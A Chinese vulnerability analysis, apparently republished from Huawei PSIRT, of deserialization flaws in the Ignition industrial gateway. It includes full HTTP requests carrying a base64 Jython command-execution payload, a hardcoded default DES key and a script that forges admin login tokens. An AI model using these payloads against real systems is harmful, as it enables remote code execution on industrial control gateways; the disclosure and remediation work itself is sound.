POST /data/status/store_forward_import/sample_sqlite_database HTTP/1.1Host: 192.168.8.109:8088Content-Length: 3787User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAcAccept: */*Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=node06kiau662mhsbsxzlgvmzn4x03.node0Connection: close------WebKitFormBoundary2aeh8v1eAg4aLbAcContent-Disposition: form-data; name="file"; filename="xmldata"Content-Type: text/xml<?xml version="1.0"?><data flavor="__datasourcedata__" subtype=""><base64>反序列化载荷</base64></data>------WebKitFormBoundary2aeh8v1eAg4aLbAc--

载荷处理的逻辑:

之前说到的1行对应的importQuarantinedFromXML

public void importQuarantinedFromXML(String dataStore, InputStream is) throws IOException {        DataSink sink = this.getStore(dataStore);        QuarantineManager qMgr = sink == null ? null : sink.getQuarantineManager();        if (qMgr instanceof QuarantineStore) {            try {                LoggerEx.MDCClosable mdc = this.log.mdcPutClosable("store-forward-name", sink.getPipelineName());                try {                    QuarantinedXmlImporter importer = new QuarantinedXmlImporter(this.context, this, (QuarantineStore)qMgr);                    importer.doImport(is);                } catch (Throwable var9) {                    if (mdc != null) {                        try {                            mdc.close();                        } catch (Throwable var8) {                            var9.addSuppressed(var8);                        }                    }                    throw var9;                }                if (mdc != null) {                    mdc.close();                }            } catch (Exception var10) {                this.log.error(String.format("Error importing quarantined data for store '%s'", dataStore), var10);            }        } else {            throw new IOException(String.format("Data store '%s' not found, or does not currently support quarantined data", dataStore));        }    }

doImport

public void doImport(InputStream srcIS) throws Exception {      SAXParserFactory factory = SAXParserFactory.newInstance();      factory.setFeature("http://xml.org/sax/features/external-general-entities", false);      InputStream is = null;      SAXParser parser = factory.newSAXParser();      try {          is = new UnicodeUtil.UnicodeInputStream(srcIS, "UTF-8");          InputSource src = new InputSource(is);          src.setEncoding("UTF-8");          parser.parse(src, this);      } catch (SAXParseException var9) {          throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);      } finally {          IOUtils.closeQuietly(is);      }  }  public void startElement(String uri, String localName, String name, Attributes attributes) throws SAXException {        this.getLogger().tracef("Start: %s", new Object[]{name});        if (this.currentHistoryElem != null) {            ++this.dataDepth;        }        if ("data".equals(name) && this.currentHistoryElem == null) {            String flavor = attributes.getValue("flavor");            String subType = attributes.getValue("subtype");            HistoryFlavor f = this.mgr.lookupFlavor(flavor, subType);            SimpleXMLReader<HistoricalData> flavorHandler = f == null ? null : f.getXmlImportHandler(this.context); // 4            this.getLogger().debugf("Starting data element for flavor '%s' (located with [%s, %s])", new Object[]{f, flavor, subType});            if (flavorHandler == null) {                this.getLogger().warnf("No import handler found for historical data flavor '%s/%s', data will not be imported.", new Object[]{flavor, subType});            }            this.currentHistoryElem = new HistoryDataElement(f, flavorHandler);            ++this.dataDepth;        } else if (this.currentHistoryElem != null) {            this.getDelegate().startElement(uri, localName, name, attributes);        }    }

4行的getXmlImportHandler

public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {    return new Base64XmlReader(context);}

Base64XmlReader

protected static class Base64XmlReader extends HistoricalDataXmlReader {    GatewayContext context;    public Base64XmlReader(GatewayContext context) {        this.context = context;    }    protected void initializeMappings() {        super.initializeMappings();        this.elemTypeDictionary.put("base64", Base64Element.class);    }    protected class Base64Element extends Element {        String data;        public Base64Element() {        }        public void setRawValue(String value) throws Exception {            this.data = value;        }        public Object getValue() {            try {                return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.decodeAndGunzip(this.data));            } catch (Exception var2) {                LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);                return null;            }        }        public void addChild(Element child) throws Exception {        }    }

ClusterUtil

public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {    ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());    Object o = ois.readObject();    ois.close();    return o;}

终于走到了我们预期的readObject

com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData    com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML        com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport            com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.startElement                com.inductiveautomation.ignition.gateway.history.HistoryFlavor.getXmlImportHandler                    com.inductiveautomation.ignition.gateway.history.HistoryFlavor.Base64XmlReader                        com.inductiveautomation.ignition.gateway.cluster.ClusterUtil.deserializeObject                            > Object o = ois.readObject();

利用

携带cookie和载荷向/data/status/store_forward_import/sample_sqlite_database接口发送POST请求

标签中的内容是上文提到的Jython链载荷的base64编码

POST /data/status/store_forward_import/sample_sqlite_database HTTP/1.1Host: 192.168.8.109:8088Content-Length: 3787User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAcAccept: */*Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=node06kiau662mhsbsxzlgvmzn4x03.node0Connection: close------WebKitFormBoundary2aeh8v1eAg4aLbAcContent-Disposition: form-data; name="file"; filename="ahihi"Content-Type: text/xml<?xml version="1.0"?><data flavor="__datasourcedata__" subtype=""><base64>rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29tcGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABhvcmcucHl0aG9uLmNvcmUuUHlNZXRob2TmiR4qA6EacwIAA0wACF9fZnVuY19fdAAaTG9yZy9weXRob24vY29yZS9QeU9iamVjdDtMAAhfX3NlbGZfX3EAfgAITAAIaW1fY2xhc3NxAH4ACHhyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3SfoZG0yMpaXgIAAkwACmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9yZy9weXRob24vY29yZS9QeVR5cGU7eHBwcHNyACBvcmcucHl0aG9uLmNvcmUuQnVpbHRpbkZ1bmN0aW9ucy7a048zwV3vAgAAeHIAJG9yZy5weXRob24uY29yZS5QeUJ1aWx0aW5GdW5jdGlvblNldKDFmAjWbPEJAgABSQAFaW5kZXh4cgAnb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uTmFycm933vpBPcKIlwYCAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uUaLVAkvaMOECAAB4cgAhb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkNhbGxhYmxlstm62HE/kjICAAJMAANkb2N0ABJMamF2YS9sYW5nL1N0cmluZztMAARpbmZvdAAoTG9yZy9weXRob24vY29yZS9QeUJ1aWx0aW5DYWxsYWJsZSRJbmZvO3hxAH4ACXBwcHAAAAAScHNyACNvcmcucHl0aG9uLmNvcmUuUHlUeXBlJFR5cGVSZXNvbHZlcnuBU8WeYmr5AgADTAAGbW9kdWxlcQB+ABJMAARuYW1lcQB+ABJMABB1bmRlcmx5aW5nX2NsYXNzdAARTGphdmEvbGFuZy9DbGFzczt4cHQAC19fYnVpbHRpbl9fdAADc3RydnIAGG9yZy5weXRob24uY29yZS5QeVN0cmluZ0VnAua8VQypAgACTAAGZXhwb3J0dAAZTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlO0wABnN0cmluZ3EAfgASeHIAHG9yZy5weXRob24uY29yZS5QeUJhc2VTdHJpbmckhIA1NCQU7QIAAHhyABpvcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZVVaTxROQz7hAgABTAAJZGVsZWdhdG9ydAAnTG9yZy9weXRob24vY29yZS9TZXF1ZW5jZUluZGV4RGVsZWdhdGU7eHEAfgAJdwQAAAADc3EAfgAacHEAfgAXc3IAL29yZy5weXRob24uY29yZS5QeVNlcXVlbmNlJERlZmF1bHRJbmRleERlbGVnYXRlbepXKwpypoACAAFMAAZ0aGlzJDB0ABxMb3JnL3B5dGhvbi9jb3JlL1B5U2VxdWVuY2U7eHIAJW9yZy5weXRob24uY29yZS5TZXF1ZW5jZUluZGV4RGVsZWdhdGW999CJdNq/jgIAAHhwcQB+ACBwdAA5X19pbXBvcnRfXygnY29kZScpLkludGVyYWN0aXZlSW50ZXJwcmV0ZXIoKS5ydW5jb2RlKHJzKScpc3IAG29yZy5weXRob24uY29yZS5QeVN0cmluZ01hcJE1xs8kHUMzAgABTAAFdGFibGV0ACRMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudE1hcDt4cgAcb3JnLnB5dGhvbi5jb3JlLkFic3RyYWN0RGljdDUtefOX2TXrAgAAeHEAfgAJcHNxAH4AFXEAfgAYdAAJc3RyaW5nbWFwdnEAfgAmc3IAJmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwZJneEp2HKT0DAANJAAtzZWdtZW50TWFza0kADHNlZ21lbnRTaGlmdFsACHNlZ21lbnRzdAAxW0xqYXZhL3V0aWwvY29uY3VycmVudC9Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O3hwAAAADwAAABx1cgAxW0xqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50O1J3P0Eymzl0AgAAeHAAAAAQc3IALmphdmEudXRpbC5jb25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQfNkyQWJMpPQIAAUYACmxvYWRGYWN0b3J4cgAoamF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9ja2ZVqCwsyGrrAgABTAAEc3luY3QAL0xqYXZhL3V0aWwvY29uY3VycmVudC9sb2Nrcy9SZWVudHJhbnRMb2NrJFN5bmM7eHBzcgA0amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVlbnRyYW50TG9jayROb25mYWlyU3luY2WIMudTe78LAgAAeHIALWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skU3luY7geopSqRFp8AgAAeHIANWphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLkFic3RyYWN0UXVldWVkU3luY2hyb25pemVyZlWoQ3U/UuMCAAFJAAVzdGF0ZXhyADZqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdE93bmFibGVTeW5jaHJvbml6ZXIz36+5rW1vqQIAAHhwAAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAABzcQB+ADJzcQB+ADYAAAAAP0AAAHNxAH4AMnNxAH4ANgAAAAA/QAAAc3EAfgAyc3EAfgA2AAAAAD9AAAB0AAJyc3NxAH4AGnBxAH4AF3NxAH4AIXEAfgBacHQAL2ltcG9ydCBvczsKb3Muc3lzdGVtKCduZXQgdXNlciA+IGM6Ly91c2VyLnR4dCcpcHB4eA==</base64></data>------WebKitFormBoundary2aeh8v1eAg4aLbAc--
Ignition 工控系统 多个反序列化漏洞分析
Ignition 工控系统 多个反序列化漏洞分析

8

CVE-2023-39473

漏洞影响版本为Ignition < 8.1.31,跟之前漏洞不一样的是,受影响端点为/system/gateway,载荷是xml的格式。

该漏洞利用非常复杂。。。

原理不展开分析了,只给出利用的部分过程

1. 加密用户名和密码2. 编码auth的json串3. 向Gateway发送登录请求获取cookie4. 生成Jython反序列化载荷5. 携带Cookie发送反序列化载荷

加密用户名和密码

gateway的登录过程是先加密后编码的

jar包中的加解密逻辑:

import java.nio.charset.StandardCharsets;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESedeKeySpec;/* loaded from: common.jar:com/inductiveautomation/ignition/common/GatewaySec.class */public class GatewaySec {    private static final byte[] defaultKey = {-63, -85, Byte.MAX_VALUE, 121, 122, -42, 14, -22, -5, -57, 122, -57, 104, 50, -60, 44, -122, 21, 42, -108, 118, 50, 94, -2};    private static final String ENCODING_KEY = "encodingKey";    public static String encrypt(String toEncrypt) throws Exception {        return encrypt(toEncrypt, defaultKey);    }    public static byte[] encrypt(byte[] toEncrypt) throws Exception {        return encrypt(toEncrypt, defaultKey);    }    public static String encrypt(String toEncrypt, byte[] encodingKey) throws Exception {        return HexUtils.convert(encrypt(toEncrypt.getBytes(StandardCharsets.UTF_8), encodingKey));    }    public static byte[] encrypt(byte[] toEncrypt, byte[] encodingKey) throws Exception {        SecretKeyFactory factory = SecretKeyFactory.getInstance("DESede");        SecretKey key = factory.generateSecret(new DESedeKeySpec(encodingKey));        Cipher desCipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");        desCipher.init(1, key);        return desCipher.doFinal(toEncrypt);    }    public static String decrypt(String toDecrypt) throws Exception {        return decrypt(toDecrypt, defaultKey);    }    public static byte[] decrypt(byte[] toDecrypt) throws Exception {        return decrypt(toDecrypt, defaultKey);    }    public static String decrypt(String toDecrypt, byte[] encodingKey) throws Exception {        return new String(decrypt(HexUtils.convert(toDecrypt), encodingKey), StandardCharsets.UTF_8);    }    public static byte[] decrypt(byte[] toDecrypt, byte[] encodingKey) throws Exception {        SecretKeyFactory factory = SecretKeyFactory.getInstance("DESede");        SecretKey key = factory.generateSecret(new DESedeKeySpec(encodingKey));        Cipher desCipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");        desCipher.init(2, key);        return desCipher.doFinal(toDecrypt);    }    public static byte[] customKeyOrDefault() {        String encodingKey = System.getProperty(ENCODING_KEY);        if (encodingKey != null) {            return encodingKey.getBytes(StandardCharsets.UTF_8);        }        return defaultKey;    }}
import java.io.ByteArrayOutputStream;/* loaded from: common.jar:com/inductiveautomation/ignition/common/HexUtils.class */public final class HexUtils {    public static final int[] DEC = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -1, -1, -1, -1, -1, -1, -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1};    public static byte[] convert(String digits) {        byte b;        byte b2;        int i;        ByteArrayOutputStream baos = new ByteArrayOutputStream();        for (int i2 = 0; i2 < digits.length(); i2 += 2) {            char c1 = digits.charAt(i2);            if (i2 + 1 >= digits.length()) {                throw new IllegalArgumentException("Bad String length - odd.");            }            char c2 = digits.charAt(i2 + 1);            if (c1 >= '0' && c1 <= '9') {                b = (byte) (0 + ((c1 - '0') * 16));            } else if (c1 >= 'a' && c1 <= 'f') {                b = (byte) (0 + (((c1 - 'a') + 10) * 16));            } else if (c1 >= 'A' && c1 <= 'F') {                b = (byte) (0 + (((c1 - 'A') + 10) * 16));            } else {                throw new IllegalArgumentException("Bad Hex Character");            }            if (c2 >= '0' && c2 <= '9') {                b2 = b;                i = c2 - '0';            } else if (c2 >= 'a' && c2 <= 'f') {                b2 = b;                i = (c2 - 'a') + 10;            } else if (c2 >= 'A' && c2 <= 'F') {                b2 = b;                i = (c2 - 'A') + 10;            } else {                throw new IllegalArgumentException("Bad Hex Character");            }            byte b3 = (byte) (b2 + i);            baos.write(b3);        }        return baos.toByteArray();    }    public static String convert(byte[] bytes) {        StringBuffer sb = new StringBuffer(bytes.length * 2);        for (int i = 0; i < bytes.length; i++) {            sb.append(convertDigit(bytes[i] >> 4));            sb.append(convertDigit(bytes[i] & 15));        }        return sb.toString();    }    public static int convert2Int(byte[] hex) {        if (hex.length < 4) {            return 0;        }        if (DEC[hex[0]] < 0) {            throw new IllegalArgumentException("Bad Hex Digit");        }        int len = DEC[hex[0]];        int len2 = len << 4;        if (DEC[hex[1]] < 0) {            throw new IllegalArgumentException("Bad Hex Digit");        }        int len3 = (len2 + DEC[hex[1]]) << 4;        if (DEC[hex[2]] < 0) {            throw new IllegalArgumentException("Bad Hex Digit");        }        int len4 = (len3 + DEC[hex[2]]) << 4;        if (DEC[hex[3]] < 0) {            throw new IllegalArgumentException("Bad Hex Digit");        }        return len4 + DEC[hex[3]];    }    private static char convertDigit(int value) {        int value2 = value & 15;        if (value2 >= 10) {            return (char) ((value2 - 10) + 97);        }        return (char) (value2 + 48);    }    public static String toHexString(int value) {        String ret;        String base = Integer.toHexString(value).toUpperCase();        if (base.length() < 8) {            char[] pad = new char[8 - base.length()];            for (int i = 0; i < pad.length; i++) {                pad[i] = '0';            }            ret = new String(pad) + base;        } else {            ret = base;        }        return ret;    }}

调用encrypt方法,得到admin加密后的值是 e5ac043c7cef1fde

编码auth

拿到用户名和密码的加密值后,需要生成一个auth的json串

username = b'e5ac043c7cef1fde'password = b'e5ac043c7cef1fde'auth = b'{"username-enc":"'     + username     + b'","password-enc":"'     + password     + b'"}'auth = b"xacxedx00x05x74"     + len(auth).to_bytes(2,'big')     + authauth = gzip.compress(auth)auth = base64.b64encode(auth).decode()print(auth)

如果用户名和密码都是admin的话 编码后的值为

H4sIAM2MAmYC/1vzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinVNDHZwMQ42Tw5Nc0wLSVVSUepILG4uDy/KAWXiloANjssdEwAAAA=

向Gateway发送登录请求获取cookie

Ignition 工控系统 多个反序列化漏洞分析

生成Jython反序列化载荷

还是我们之前提到的

java.io.ObjectInputStream.readObject    java.util.PriorityQueue.readObject        java.util.PriorityQueue.heapify            java.util.PriorityQueue.siftDownUsingComparator                com.sun.proxy.$Proxy4.compare                    org.python.core.PyMethod.invoke                        org.python.core.PyMethod.__call__                            org.python.core.PyMethod.instancemethod___call__                                org.python.core.PyObject.__call__                                    org.python.core.PyBuiltinFunctionNarrow.__call__                                        org.python.core.BuiltinFunctions.__call__                                            org.python.core.__builtin__.eval                                                org.python.core.Py.runCode

携带Cookie发送反序列化载荷

Ignition 工控系统 多个反序列化漏洞分析

成功触发

Ignition 工控系统 多个反序列化漏洞分析

9

修复建议

  • 过滤特定载荷

  • 升级到最新版本

  • 部署终端安全防御系统

X

参考

https://www.cybersecurity-help.cz/vdb/SB2024010815

https://github.com/TecR0c/DoubleTrouble

https://petrusviet.medium.com/cve-2023-50220-inductive-automation-ignition-xml-deserialization-to-rce-7b395412c6cf

XZ平台13604/12812/12331

原文始发于微信公众号(华为安全应急响应中心):Ignition 工控系统 多个反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月15日23:35:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ignition 工控系统 多个反序列化漏洞分析http://cn-sec.com/archives/2850670.html

发表评论

匿名网友 填写信息